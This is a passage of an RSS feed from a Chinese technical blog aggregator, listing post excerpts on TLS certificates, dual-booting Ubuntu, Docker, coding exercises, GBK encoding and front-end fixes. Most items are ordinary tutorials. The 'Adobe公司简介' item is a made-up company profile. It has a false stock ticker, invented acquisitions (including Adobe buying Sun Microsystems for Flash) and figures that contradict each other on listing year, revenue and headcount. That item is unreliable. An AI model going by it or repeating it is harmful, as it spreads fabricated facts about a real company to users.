忽略该字段转换成Excel列名属性&#xA;10.@ExcelIgnoreUnannotated - 没有注解的字段都不转换&#xA;11.</description>
    </item>
    <item>
      <title>TLS 协议与 TLS 证书的生成、配置</title>
      <link>https://bchobby.github.io/posts/b59d055b8925e02be930be58d868560d/</link>
      <pubDate>Thu, 22 Dec 2022 10:52:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b59d055b8925e02be930be58d868560d/</guid>
      <description>这里不详细说明 TLS 协议的内容，请另行查阅文档&#xA;画外：由于 RSA/ECC 两类非对称加密算法被广泛的应用在各类加密通讯中，因此下面说明的证书生成、签名过程，&#xA;同样也适用于其他场景，比如 SSH 密钥对生成、JWT 密钥对生成等等。&#xA;TLS 协议 我们需要加密网络数据以实现安全通信，但是有一个现实的问题：&#xA;非对称加密算法(RSA/ECC 等)可以方便地对数据进行签名/验证，但是计算速度慢。对称加密算法(ChaCha20/AES 等)计算速度快，强度高，但是无法安全地生成与保管密钥。 于是 TLS 协议在握手阶段使用非对称算法验证服务端，并安全地生成一个对称密钥，然后使用对称算法进行加密通信。&#xA;这里讲「安全地生成一个对称密钥」(Elliptic Curve Diffie-Hellman (ECDHE) key exchange)，提供了「完美前向保密(Perfect Forward Secrecy)」特性，前向保密能够保护过去进行的通讯不受密码或密钥在未来暴露的威胁。(tls1.1/tls1.2 也可以使用非前向安全的算法！要注意！)&#xA;TLS 通过两个证书来实现服务端身份验证，以及对称密钥的安全生成：&#xA;CA 证书(公钥)：浏览器/操作系统自带，用于验证服务端的 TLS 证书的签名。保证服务端证书可信。TLS 证书：使用 CA 证书验证了 TLS 证书后，将使用这个 TLS 证书进行协商，以安全地生成一个对称密钥。 CA 证书和 TLS 证书，都只在 TLS 握手阶段有用到，之后的通信就与它们无关了。&#xA;一、TLS 证书支持保护的域名类型 TLS 证书支持配置多个域名，并且支持所谓的通配符(泛)域名。&#xA;但是通配符域名证书的匹配规则，和 DNS 解析中的匹配规则并不一致！&#xA;根据证书选型和购买 - 阿里云文档 的解释，通配符证书只支持同级匹配，详细说明如下：&#xA;一级通配符域名：可保护该通配符域名(主域名)自身和该域名所有的一级子域名。 例如：一级通配符域名 *.aliyun.com 可以用于保护 aliyun.com、www.aliyun.com 以及其他所有一级子域名。&#xA;但是不能用于保护任何二级子域名，如 xx.aa.aliyun.com 二级或二级以上通配符域名：只能保护该域名同级的所有通配域名，不支持保护该通配符域名本身。 例如：*.a.aliyun.com 只支持保护它的所有同级域名，不能用于保护三级子域名。 要想保护多个二三级子域，只能在生成 TLS 证书时，添加多个通配符域名。</description>
    </item>
    <item>
      <title>SyntaxError: The requested module ‘/utils/interfaces.js‘ does not provide an export named ‘default‘</title>
      <link>https://bchobby.github.io/posts/deacede9741065b5753ca35451c1ee65/</link>
      <pubDate>Thu, 22 Dec 2022 00:57:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/deacede9741065b5753ca35451c1ee65/</guid>
      <description>在编写uniapp时 引入自定义模块时报错 ，在此记录一下&#xA;报错&#xA;源码&#xA;在 home.vue 中引入&#xA;使用：interfaces.getMallData&#xA;问题：暴露方法有问题&#xA;解决：&#xA;把module.export = interfaces 改成 export defoult interfaces&#xA;完成！</description>
    </item>
    <item>
      <title>win10下安装、卸载ubuntu双系统</title>
      <link>https://bchobby.github.io/posts/8b3a9d350e1e7c17c35890f94372b940/</link>
      <pubDate>Wed, 21 Dec 2022 23:04:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b3a9d350e1e7c17c35890f94372b940/</guid>
      <description>Windows、Ubuntu双系统正确卸载Ubuntu系统 先判断启动方式，以管理员身份打开cmd或者power shell，输入bcdedit，找到path那一行，如果是winload.efi就是uefi引导，若为exe就是legacy引导&#xA;或者win+r输入msinfo32找到bios模式，如果显示为传统，就表示是legacy，否则为uefi&#xA;如果为legacy启动，使用mbrfix&#xA;如果ubuntu不是以wubi方式安装的，那么卸载ubuntu时要慎重，不是直接删除ubuntu所在分区这么简单的，否则你会发现你的windows系统也进不去了。那是因为如果你安装Ubuntu的时候将GRUB写入到MBR，也就是/dev/sda，(如果你每次一开机就出现GURB菜单，说明写入到MBR )。那么你卸载ubuntu的时候就将MBR重写，去掉ubuntu的GURB。&#xA;正确的删除ubuntu方法如下：&#xA;第1步，修复MBR&#xA;1.进入windows，下载个软件MbrFix，放在C:\windows\system32文件夹中&#xA;2.打开命令提示符（以管理员身份启动）&#xA;3.在命令提示符中输入MbrFix /drive 0 fixmbr /yes&#xA;4.此时已经修复了MBR，重启电脑后会发现已经没有了linux启动选项，直接进入windows了&#xA;第2步，删除Ubuntu&#xA;在 Windows下，在计算机(Computer)上点右键-&amp;gt;管理(Manage)-&amp;gt;磁盘管理(DiskManagement)：&#xA;有2个没有卷标名称(卷标名称就是驱动器号，如C:,D:,E:,…)的主分区(PrimaryPartition)就是Ubuntu的分区，&#xA;主分区的窗口颜色是深蓝色的。&#xA;其中一个是交换(Swap)分区，与机器物理内存大小差不多;另一个是root分区，大小和你分配给它的差不多。&#xA;分别在这2个分区上点右键，选择删除卷(DeleteVolume)，删除卷之后，分区窗口颜色会变为绿色，并合并为一个窗口。&#xA;如果你不想安装Ubuntu，那么可以在这个未知分区上创建扩展分区，格式化，分配卷标，给Windows使用。&#xA;如果想安装Ubuntu，那么删除分区后就不要有任何操作了。&#xA;如果为UEFI启动，使用easyUEFI，https://www.easyuefi.com/index-us.html&#xA;下载安装后打开，找到ubuntu删除，然后重启，再删除ubuntu的对应的分区，就可以了&#xA;windows下安装ubuntu18.04双系统 1.制作u盘启动盘&#xA;准备一个空优盘，（附链接）下载UltralSO，打开优盘点击试用。进入界面：文件-打开 （选择你下载的ubuntu安装包，格式为.ios）;然后是：启动-写入硬盘映像；在弹出的新窗口中，硬盘驱动器：选择刚刚插入的U盘写入方式：设置为USB-HDD+其余需要勾选的不管，采用默认的设置就行然后可以格式化一下，最后点击最下面一栏的写入按钮。&#xA;2.分出一个盘来安装ubuntu&#xA;win+s 搜索“计算机管理”-磁盘管理：压缩卷出一个未分配的盘。大一点比较好200G-500G，越大越好。&#xA;3.插上优盘，重启，进入bios界面。惠普电脑是按f10或者按esc之后再按f10.进入后如果没有install ubuntu，需要把bios中的启动选项的usb启动跳到最前面，然后再重启就可以了。选择install ubuntu ，最小化安装，其他选项（以便于自己分区）&#xA;4.分区&#xA;分区很重要，先分逻辑分区再分主分区。双击你压缩卷的那个盘即可分配&#xA;重新做ubuntu18.041 有很多东西都不记得了又得重新网上搜一遍大概留下点记录供以后重做用上&#xA;Swap（相当于电脑内存）：逻辑分区、大小设置为电脑内存大小, 我电脑内存16G 但是我给了8000M 个人认为8G够用了&#xA;/boot（引导分区）：主分区：大小设置为1000M； 这个1G 因为后续可能会升级太小不够用&#xA;/home（用户存储数据用）：逻辑分区，要尽可能大，256G空间可以设置为175G。&#xA;/.（主分区）：主分区，用于存放系统，相当于win7的C盘，50G+即可。&#xA;这个是我的分区方法 和分区顺序,我是先分home 逻辑分区 因为我发现先分2个主分区后无法继续分区了&#xA;所以先分逻辑分区后面在分主分区&#xA;我觉得/home 这个一定要自己分区因为这个是保存的个人数据,万一系统出问题了 这一块里面的数据还能找回来 就和windows 的d,e,f盘一样 如果是/根目录自动分配的 重做系统就丢了&#xA;5.安装启动引导器设备选择（windows boot manager·····）&#xA;6.拔掉优盘重启就可以了。&#xA;7.小问题</description>
    </item>
    <item>
      <title>【Java】不重新打包 修改Springboot启动端口</title>
      <link>https://bchobby.github.io/posts/09c418abab59ac90243730869f695950/</link>
      <pubDate>Wed, 21 Dec 2022 21:23:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09c418abab59ac90243730869f695950/</guid>
      <description> 运行jar包时指定端口 如下：指定端口为8088，不管jar包里面之前是指定了什么端口号，最终访问服务时还是以8088这个端口进行访问&#xA;java -jar xxx.jar --server.port=8081 使用vim 修改jar包中的配置文件 1. 使用vim进入jar包 vim api_old.jar 2. 找到指定的文件名，进入修改的文件 3.修改后 保存退出 </description>
    </item>
    <item>
      <title>OJ（Online Judge)系统汇总</title>
      <link>https://bchobby.github.io/posts/21f9c8750ebc7798635884a5b1cb6b9e/</link>
      <pubDate>Wed, 21 Dec 2022 21:21:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21f9c8750ebc7798635884a5b1cb6b9e/</guid>
      <description>OJ百度百科 在线判题系统_百度百科&#xA;***Openjudge和Poj 北大OJ（英文），经常服务器坏，&#xA;Welcome To PKU JudgeOnline&#xA;备用网站 OpenJudge - NOI - 首页&#xA;***《信息学奥赛一本通（C++版）》配套OJ 信息学奥赛一本通（C++版）在线评测系统&#xA;信息学奥赛一本通（C++版）在线评测系统&#xA;难度：中等，适合零基础&#xA;啊哈添柴： 在线OJ网站 - 啊哈添柴&#xA;***洛谷 Luogu&#xA;洛谷比赛 比赛列表 - 洛谷&#xA;有很多网友认为不适合零基础，但洛谷某管理人员认为适合,也有网友认为认为洛谷的题在有老师的指导下适合零基础的。&#xA;洛谷支持4个外网:Uva,Spoj,Atcoder,Codeforces&#xA;洛谷有网校，适合省选之前的学生。 涉及到读字符、字符串的数据有污染，必须用洛谷独门蹩脚方法破解。&#xA;P1388 算式 数据有错，但由于以“涉及版权”理由不提供数据下载，错误长期得不到更正。&#xA;编程魔法师 新华算法竞赛培训平台&#xA;hydro.ac 首页 - HydroOJ&#xA;atcoder.jp AtCoder&#xA;Vijos 首页 - Vijos&#xA;MOOC课程——程序设计与算法 OpenJudge - NOI - 首页&#xA;难度:中等&#xA;LOJ https://loj.ac/&#xA;HustOJ MYOJ&#xA;热心家长创建的一个自测OJ，与华中科技大学颇有渊源。不定期举办一些针对初学者的比赛。菜鸟们不妨一试。&#xA;***牛客竞赛网 牛客竞赛OJ_ACM/NOI/CSP/CCPC/ICPC_信息学编程算法训练平台&#xA;牛客网介绍：&#xA;是一个专注于算法选手学习和成长的专业训练网站。&#xA;每周五准时一场竞赛，并有丰厚奖品相送。&#xA;网站题库包括但不限于历年的noip初赛、复赛试题，各省省选、NOI真题、USACO月赛题等等。尤其对noip初赛试题提供在线打分功能，方便选手进行自我估测。&#xA;此外包含专业训练区，包括从入门到NOI各个等级的专区训练。针对信竞赛知识点，专门的分类可以进行针对性的练习。&#xA;牛客不定期特邀金牌选手进行直播授课，并且只收一分钱。更有效的帮助所有选手全面提高水平。&#xA;自2017问世以来，共举办比赛数百场，比赛题目上千道，比赛参赛人数20万人次，竞技选手从中小学到大学全覆盖。&#xA;牛客网比赛 牛客竞赛OJ_ACM/NOI/CSP/CCPC/ICPC_信息学编程算法训练平台</description>
    </item>
    <item>
      <title>计算多项式的值（c&#43;&#43;基础）</title>
      <link>https://bchobby.github.io/posts/8de37714a0b8fc076a2b1736383d7117/</link>
      <pubDate>Wed, 21 Dec 2022 19:18:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8de37714a0b8fc076a2b1736383d7117/</guid>
      <description> 题目描述:&#xA;假定多项式的形式为xn+xn-1+…+x2+x+1，请计算给定单精度浮点数x和正整数n值的情况下这个多项式的值。&#xA;输入格式:&#xA;输入仅一行，包括x和n，用单个空格隔开。x在float范围内，n &amp;lt;= 1000000。&#xA;输出格式:&#xA;输出一个实数，即多项式的值，精确到小数点后两位。保证最终结果在long double范围内。&#xA;样例输入:&#xA;2.0 4 样例输出:&#xA;31.00 时间限制: 1000ms&#xA;空间限制: 128MB&#xA;代码如下：&#xA;#include&amp;lt;bits/stdc++.h&amp;gt; using namespace std; int main(){ long double x,n,s=1,a=1; cin&amp;gt;&amp;gt;x&amp;gt;&amp;gt;n; for(int i=1;i&amp;lt;=n;i++){ a=a*x; s=s+a; } printf(&#34;%.2Lf&#34;,s); return 0; } </description>
    </item>
    <item>
      <title>Docker使用(容器、镜像相关命令)</title>
      <link>https://bchobby.github.io/posts/bc97404d35a51e7805c6048d9269b877/</link>
      <pubDate>Wed, 21 Dec 2022 17:18:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc97404d35a51e7805c6048d9269b877/</guid>
      <description>虚拟化 在计算机中，虚拟化（英语：Virtualization）是一种资源管理技术，是将计算机的各种实体资源，如服务器、网络、内存及存储等，予以抽象、转换后呈现出来，打破实体结构间的不可切割的障碍，使用户可以比原本的组态更好的方式来应用这些资源。这些资源的新虚拟部份是不受现有资源的架设方式，地域或物理组态所限制。一般所指的虚拟化资源包括计算能力和资料存储。&#xA;在实际的生产环境中，虚拟化技术主要用来解决高性能的物理硬件产能过剩和老的旧的硬件产能过低的重组重用，透明化底层物理硬件，从而最大化的利用物理硬件 对资源充分利用。&#xA;虚拟化技术种类很多，例如：软件虚拟化、硬件虚拟化、内存虚拟化、网络虚拟化(vip)、桌面虚拟化、服务虚拟化、虚拟机等等。&#xA;什么是Docker Docker 是一个开源项目，诞生于 2013 年初，最初是 dotCloud 公司内部的一个业余项目。它基于 Google 公司推出的 Go 语言实现。 项目后来加入了 Linux 基金会，遵从了 Apache 2.0 协议，项目代码在 GitHub 上进行维护&#xA;Docker 项目的目标是实现轻量级的操作系统虚拟化解决方案。 Docker 的基础是 Linux 容器（LXC）等技术。&#xA;Docker服务器与客户端 Docker是一个客户端-服务器（C/S）架构程序。Docker客户端只需要向Docker服务器或者守护进程发出请求，服务器或者守护进程将完成所有工作并返回结果。Docker提供了一个命令行工具Docker以及一整套RESTful API。你可以在同一台宿主机上运行Docker守护进程和客户端，也可以从本地的Docker客户端连接到运行在另一台宿主机上的远程Docker守护进程&#xA;Registry(注册中心) 远程镜像仓库： hub.docker.com&#xA;Docker用Registry来保存用户构建的镜像。Registry分为公共和私有两种。Docker公司运营公共的Registry叫做Docker Hub。&#xA;Docker安装与启动 更新yum包到最新&#xA;# yum remove docker docker-common docker-selinux docker-engine sudo yum update 安装需要的软件包&#xA;sudo yum install -y yum-utils device-mapper-persistent-data lvm2 设置yum源为阿里源&#xA;sudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo 安装docker&#xA;sudo yum install docker-ce # 查看docker版本 docker -v 设置ustc的镜像 配置阿里镜像站：</description>
    </item>
    <item>
      <title>uni-popup如何遮挡住uniapp自带的tabbar</title>
      <link>https://bchobby.github.io/posts/d68c22be33e78e772383f6d640a4c776/</link>
      <pubDate>Wed, 21 Dec 2022 17:10:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d68c22be33e78e772383f6d640a4c776/</guid>
      <description>uni-popup 是 uni-app 提供的一个组件，它可以用来弹出一个浮层，覆盖在其他内容之上。如果你想使用 uni-popup 遮挡住 uni-app 自带的 tabbar，你可以这样做：&#xA;在 uni-app 的根目录下新建一个文件夹，名为 components，然后在 components 文件夹中新建一个组件，名为 uni-popup。&#xA;在 uni-popup 组件中，使用 v-if 指令来控制 uni-popup 组件的显示和隐藏。&#xA;在 uni-popup 组件中，使用 fixed 定位来设置 uni-popup 组件的位置，并且将它的 z-index 设置为一个较大的值，使它能够在其他组件之上。&#xA;在 uni-app 的根目录下的 main.js 中，引入 uni-popup 组件并注册为全局组件。&#xA;在 uni-app 的根目录下的 main.js 中，通过 Vue.prototype.$popup 方法将 uni-popup 组件绑定到 Vue 的原型上。&#xA;在 uni-app 的根目录下的 main.js 中，通过 Vue.prototype.$popup.show 方法来显示 uni-popup 组件。&#xA;在 uni-app 的根目录下的 main.js 中，通过 Vue.prototype.$popup.hide 方法来隐藏 uni-popup 组件。&#xA;在 uni-app 的根目录下的 main.</description>
    </item>
    <item>
      <title>GBK编码的理解</title>
      <link>https://bchobby.github.io/posts/b81c24a9aea2c09d7148c5a0d50050b8/</link>
      <pubDate>Wed, 21 Dec 2022 17:05:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b81c24a9aea2c09d7148c5a0d50050b8/</guid>
      <description>1、我们学程序的时候，所熟知的ASCII码，就是一种编码方式&#xA;计算机底层，就只认识0和1.&#xA;举个例子，以3bit为例：&#xA;所以，如果是000的话，可以对应数字0&#xA;如果是001的话，可以对应数字1&#xA;。。。&#xA;如果是111的话，可以对应数字7。&#xA;老外才多少个字符，总共才26个英文字母，加上大小写，才52个。&#xA;后来有扩展了一些其他字符，如+-*/ 空格之类的，又扩展了一些控制字符和不可见字符，如CTRL键，DEL键，空格键等。&#xA;总之，1个字节，8bit,有256种编码方式，完全可以对应这么多字符。&#xA;所以ASCII码字符的所谓编码方式，其实就是数值跟字符建立一个一一映射的关系。（这个一一映射就是高中里面学到的函数）&#xA;然后计算机解析到这个这个数值，就会在屏幕上画出对应的点阵字母——所有在屏幕上显示的东西，都是点阵显示的。因为像素比较大，人眼看起来还是比较连续的，但是如果放大的话，可以看出来还是歪歪曲曲的。&#xA;如上图，B这个字母就可以用8*12的点阵来显示，当读取到B的ASCII码值的时候，就调出来显示即可。这就完成了编码。&#xA;2、ASCII初始字符就127个。后来又扩展了，扩展了一些希腊字母。&#xA;整个欧洲的知识体系就是建立在希腊字母表上面的。&#xA;3、但是中国不一样，中国的语言体系，是另一套体系，中国的文字，不是字母，而是象形文字。&#xA;很明显，以8bit一个字节来编码汉字，很明显不够。中国常用的汉字有6000多个。&#xA;那就用两个字节16bit来编码。16bit最多是65536种可能，完全可以覆盖常用的汉字（当然，如果遇到生僻字怎么办？）&#xA;用16bit来编码，比如，用16进制数字，0xBABA，可以编码成汉字——“汉”&#xA;当计算机识别到16进制数字0xBABA，就可以采用一个16*12的点阵来显示汉字“汉”。这样就完成了编码。&#xA;这种编码方式，取了一个名字，叫做GBK编码。也叫国标编码。&#xA;GBK编码表，类似ASCII码表，很明显，GBK编码表比ASCII表更复杂，排列可能性更多。&#xA;GBK编码表，可以查看下面的连接：&#xA;GBK 编码范围, GBK 编码表&#xA;每个编码表前面有一个字节，如上图所示，那么多字节显示在BA这一个模块里面。如果要查找汉字“汉”，那么汉字在BA模块里面，在第B行，第A列，所以“汉”的编码就是——BABA（16进制的数，0xBABA）&#xA;同理，如果要查看汉字“花”的GBK编码值，那么查找到花在“BB”方块内，在第A行第8列，所以“花”——BBA8&#xA;这就完成了GBK编码汉字的功能。&#xA;GBK编码范围：8140－FEFE&#xA;所有的汉字都是放在一个个的方块里面的，这个方块的编码是在81~FE范围的，行是4~F行，列是0~F列，但是每个方块里面最后一个F行F列都没有被编码使用。所以每个方块的编码范围又是从40~FE。这样就完成了所有汉字的编码。&#xA;GBK编码是对之前老的编码GB2312的扩展。所以猜测，GBK编码是为了解决一些偏僻字的问题，进行了扩展。两万多个汉字，足够用了。&#xA;我们国家GBK的编码，不仅仅编码了中文，还编码了日文，还编码了希腊字母。这说明我们国家在制定GBK编码的时候其实就考虑到向世界学习的态度。&#xA;当然这涉及到一个计算机世界话语权的问题。因为我们国家前期在计算机领域的发展相较于美国比较慢，所以我们国家也没主导Unicode统一码的标准制定。&#xA;从上面的GBK编码表中可以看出，我们国家的工作人员，是有这个雄心壮志，想制定一套兼容天下编码字符的一个表的</description>
    </item>
    <item>
      <title>Adobe公司简介</title>
      <link>https://bchobby.github.io/posts/c709320b173c98e407850524cefedbfa/</link>
      <pubDate>Wed, 21 Dec 2022 13:34:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c709320b173c98e407850524cefedbfa/</guid>
      <description>Adobe公司简介&#xA;Adobe公司是一家全球性的企业，拥有强大的全球影响力和一流的专业技术。&#xA;Adobe致力于为全球客户提供高品质、高性能的数字内容及相关服务， Adobe拥有卓越的产品、解决方案、服务和专业知识，帮助客户创造出与众不同、充满创意的产品和内容。&#xA;Adobe拥有全球领先的数字化软件解决方案和行业知识产权（IP），为数字时代提供最具创新性、最高效的数字化创作工具以及先进应用程序和内容。&#xA;Adobe是一家世界级企业，在其历史中创造了无数个业界第一，拥有强大而全面的数字化创意工具，为世界各地广大企业客户提供一流水平的解决方案。&#xA;Adobe在中国有两个分公司：深圳办事处&#xA;北京分公司：北京办事处&#xA;1.在全球拥有超过一亿的付费用户&#xA;Adobe全球用户超过一亿，是最大的数字内容创作工具供应商之一。&#xA;Adobe公司于1998年在美国纳斯达克上市（NASDAQ: ACBN），2000年10月进入中国内地市场。&#xA;2014年7月， Adobe以15亿美元收购法国公司 Maya Photoshop。&#xA;2014年10月， Adobe推出了面向个人的移动应用程序 AppleBeats，这是一款基于移动设备，基于浏览器的软件。&#xA;2014年11月16日， Adobe宣布完成了对加拿大软件外包服务公司 Accelerate （后改名为 Acclid）的收购交易。&#xA;2014年11月18日， Adobe宣布与微软达成战略合作关系，将在其 Windows和 Office办公软件产品中预装微软 Office 2010 (Excel 2010、 PowerPoint 2010)、 AcrobatX和 Adobe Reader 4. Objectives for Windows 8等应用程序。&#xA;2.年营业额达60亿美元&#xA;Adobe于1995年在美国纳斯达克上市，如今市值达近百亿美元。&#xA;公司在全球拥有约6,600名员工，2007年的营业额达61亿美元。&#xA;Adobe拥有一支强大的国际研发团队，致力于不断创新，开发出最先进、最受欢迎的软件产品。&#xA;2004年 Adobe成功收购 Flash软件开发商 Sun Microsystems （美国）公司并获得其全球客户群；2007年收购数字营销软件公司 Propheteo （美国），从而巩固了 Adobe在该领域的领先地位。&#xA;Adobe是行业内首家通过美国证券交易委员会审批，允许客户进行股票交易市场发行公司债券的企业，在美国、欧洲和亚洲等地均有分公司。&#xA;3.在全球超过150个国家和地区开展业务，并有来自世界各地的超过10,000名员工&#xA;4.全球营业额超过30亿美元。&#xA;5.超过150万名员工。&#xA;6.2008年全球销售额达90亿美元-增长25%。&#xA;4. Adobe拥有强大而全面的数字创意工具，这些工具让你从不同视角发现美，创造出独一无二的内容、产品和服务&#xA;Adobe全球市场营销经理 Ken Wilson表示：“凭借强大而全面的数字创意工具， Adobe为我们客户的创新提供了无与伦比的支持，帮助他们利用数字技术为其产品和服务创造出独特且激动人心的内容。”&#xA;“Adobe是一个全球性企业，在世界各地创造了无数个业界第一，我们将继续利用这一优势，成为客户可信赖的合作伙伴。”&#xA;“我们会继续以最好的方式帮助全球客户取得成功，为他们在各自领域里创造更多价值。”&#xA;5. Adobe拥有来自全球的专业技术人才，并拥有超过3,000个成功项目案例</description>
    </item>
    <item>
      <title>Python利用函数和字典实现：输入两个数字，并输入加减乘除运算符，输出运算结果。若输入其他符号，则退出程序...</title>
      <link>https://bchobby.github.io/posts/b4e24b6b4af7266e1726f8a4711fe8bd/</link>
      <pubDate>Wed, 21 Dec 2022 10:56:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b4e24b6b4af7266e1726f8a4711fe8bd/</guid>
      <description>下面是使用函数和字典来实现这个需求的代码示例：&#xA;def calculate(num1, num2, operator): # 定义字典，保存运算符对应的运算函数 operations = { &#34;+&#34;: lambda x, y: x + y, &#34;-&#34;: lambda x, y: x - y, &#34;*&#34;: lambda x, y: x * y, &#34;/&#34;: lambda x, y: x / y } # 在字典中获取对应的运算函数，并调用 result = operations[operator](num1, num2) return result # 获取输入的两个数字和运算符 num1 = float(input(&#34;输入第一个数字: &#34;)) num2 = float(input(&#34;输入第二个数字: &#34;)) operator = input(&#34;输入运算符(+、-、*、/): &#34;) # 调用 calculate 函数计算结果 result = calculate(num1, num2, operator) # 输出结果 print(f&#34;</description>
    </item>
    <item>
      <title>用栈实现队列</title>
      <link>https://bchobby.github.io/posts/028381ecea17edb6943e1a79a4ec331c/</link>
      <pubDate>Wed, 21 Dec 2022 10:56:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/028381ecea17edb6943e1a79a4ec331c/</guid>
      <description>一、思路分析&#xA;队列遵循“先进先出”的原则，栈遵循“后进先出”的原则，基于队列和栈的特点，可以通过两个栈实现队列的功能。&#xA;将栈分为存储栈和改变栈，存储栈负责“入队”的相关操作，将需要入队的元素通过栈的push（）函数存入存储栈。当需要出队时，首先要判断改变栈是否为空，若为空则将存储栈中的元素全部push（）到改变栈中，实现了位序颠倒，此时改变栈中的出栈次序已成为我们所需要的出队次序，当改变栈不为空时，则先要将改变栈中的元素进行出栈，此时的出栈操作等同于我们所要实现的出队操作。&#xA;实现上述操作还要判断所涉及的栈是否为空，只有当两个栈同时为空时，我们所设计的队列才为空。&#xA;二、图形描述&#xA;进行出队时，若改变栈为空，则将存储栈中的元素全部压入改变栈中，此时改变栈中则是我们想要的出队顺序。&#xA;若改变栈不为空，则无须对存储栈进行操作，直接继续将改变栈中的元素出栈实现出队操作即可，重复直至改变栈为空。&#xA;三、代码展示&#xA;#include &amp;lt;iostream&amp;gt; #include &amp;lt;stack&amp;gt; using namespace std; class MyQueue { stack &amp;lt;int&amp;gt; storage; //存储入队元素 stack &amp;lt;int&amp;gt; change; //将入队元素存入其中实现次序颠倒 public: MyQueue() { } //入队操作时，只需要正常调用入栈函数即可 void push(int x) { storage.push(x); } //出栈操作时，要首先判断改变栈是否为空 int pop() { //改变栈为空则将存储栈中的元素全部压入改变栈中 //改变栈不为空则跳过压入操作继续对改变栈的元素进行操作直至为空 if(change.empty()){ while(!storage.empty()){ change.push(storage.top()); storage.pop(); } } int flag = change.top(); change.pop(); return flag; } int peek() { if(change.empty()){ while(!storage.empty()){ change.push(storage.top()); storage.pop(); } } return change.top(); } //当且仅当两个栈同时为空时，设计的队列为空 bool empty() { if(storage.</description>
    </item>
    <item>
      <title>VSCode 深度学习环境配置</title>
      <link>https://bchobby.github.io/posts/9be3ad0c4880db79172d8724fa480bcc/</link>
      <pubDate>Tue, 20 Dec 2022 22:03:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9be3ad0c4880db79172d8724fa480bcc/</guid>
      <description>1、趋动云服务器连接 如何在本地连接一台远程的Linux服务器呢？一般的方式是通过SSH服务&#xA;安全外壳协议（Secure Shell，简称SSH）是一种在不安全网络上用于安全远程登录和其他安全网络服务的协议。&#xA;在VS Code 中我们可以使用remote-ssh cha&#xA;1. 1VSCode 连接远程服务器 a. 安装 Remote-SSH 插件 使用： ctrl + shift + x : 打开插件管理面板，搜索Remote-SSH，并安装 b. 连接远程服务器 打开右侧面板中的远程资源管理器&#xA;连接远程服务器&#xA;点击SSH上的 + 号，在右侧 Enter SSH Connection Command 中粘贴趋动云的连接命令,并回车。 ssh -p 435xx root@direct.virtaicloud.com&#xA;-p 表示 SSH服务的端口root 是用户名称direct.virtaicloud.com 服务器地址。这里需要DNS解析如果是自己实验室的服务器，也可以 这也写： ssh -p 22 你的账户名@192.168.1.11 选择保存位置，选出现的第一个即可。完成配置&#xA;修改连接名称&#xA;选择SSH 后边的齿轮，选择第一个配置文件。&#xA;将HOST修改为远程项目的名称如：D2L 方便区分。在后期有多个的时候，不会发生名字冲突。这个很重要！&#xA;c. 添加多个远程容器（远程服务器） 添加多个远程服务器，这里其实只是把以上的步骤重复一遍即可，但是需要主要的是，一定要重命名项目。&#xA;d. 删除远程连接 点击SSH后的齿轮，选择第一个文件，打开配置文件。删除想要删除的配置即可。如下面四行，一定要将这Host 缩进下的内容全部删除。![在这里插入图片描述](https://img-blog.csdnimg.cn/0b90f6c785744aafa5699ee84a60dcc2.png 2. 深度学习相关的包安装 pip install xxx 如果提示有缺什么包如：&#xA;Traceback (most recent call last):</description>
    </item>
    <item>
      <title>《Docker系列》Docker安装MySQL 5.7</title>
      <link>https://bchobby.github.io/posts/6feb90b004e7331dc98ac458695a69f2/</link>
      <pubDate>Tue, 20 Dec 2022 18:48:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6feb90b004e7331dc98ac458695a69f2/</guid>
      <description>Docker安装MySQL 5.7 一、docker拉取MySQL 5.7镜像 docker pull mysql&#xA;拉取最新MySQL&#xA;docker pull mysql:5.7&#xA;拉取指定版本MySQL&#xA;1 拉取mysql 5.7镜像 [root@zxy_master ~]# docker pull mysql:5.7 5.7: Pulling from library/mysql d26998a7c52d: Pull complete 4a9d8a3567e3: Pull complete bfee1f0f349e: Pull complete 71ff8dfb9b12: Pull complete bf56cbebc916: Pull complete 2e747e5e37d7: Pull complete 711a06e512da: Pull complete 3288d68e4e9e: Pull complete 49271f2d6d15: Pull complete f782f6cac69c: Pull complete 701dea355691: Pull complete Digest: sha256:6306f106a056e24b3a2582a59a4c84cd199907f826eff27df36406f227cd9a7d Status: Downloaded newer image for mysql:5.7 docker.io/library/mysql:5.7 2 检查镜像 [root@zxy_master ~]# docker images REPOSITORY TAG IMAGE ID CREATED SIZE mysql 5.</description>
    </item>
    <item>
      <title>vue Element-ui 表格多选 修改选中行背景色</title>
      <link>https://bchobby.github.io/posts/f11fe0ea439794fa19d35d0993924bd4/</link>
      <pubDate>Tue, 20 Dec 2022 17:07:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f11fe0ea439794fa19d35d0993924bd4/</guid>
      <description>转自：https://www.cnblogs.com/Amerys/p/14688342.html&#xA;整体思路方式：&#xA;1、给获取到的数据添加自定义的className&#xA;2、在点击行(row-click)和手动点击勾选框的事件(select-all)中获取到当前的row的className,直接修改className即可 点击查看事件说明&#xA;3、在行的 className 的回调方法中(row-class-name)直接返回className&#xA;注：还有另一种方式通过获取row进行循环，判断当前点击row的id或者index与数据的是否相等，然后存放点击后的row到新的数组中，这种方式因为触及到遍历。当我有500行数据或者很多行数据，可想而知这里要遍历多少次，还有另一个就是连续点行的颜色发生变化会有延迟，相对来说性能就不好了。&#xA;步骤如下：&#xA;1、给数据添加自定义className, 由于这里演示的是本地数据，是直接添加的className; 真实开发是通过接口去加载数据，获取到的数据 直接遍历 赋值就可以，后面就不用管遍历了&#xA;data() { return { tableData: [ { date: &#34;2016-05-03&#34;, name: &#34;王小虎&#34;, address: &#34;上海市普陀区金沙江路 1518 弄&#34;, className: &#34;normal&#34;, }, { date: &#34;2016-05-02&#34;, name: &#34;王小虎&#34;, address: &#34;上海市普陀区金沙江路 1518 弄&#34;, className: &#34;normal&#34;, }, { date: &#34;2016-05-04&#34;, name: 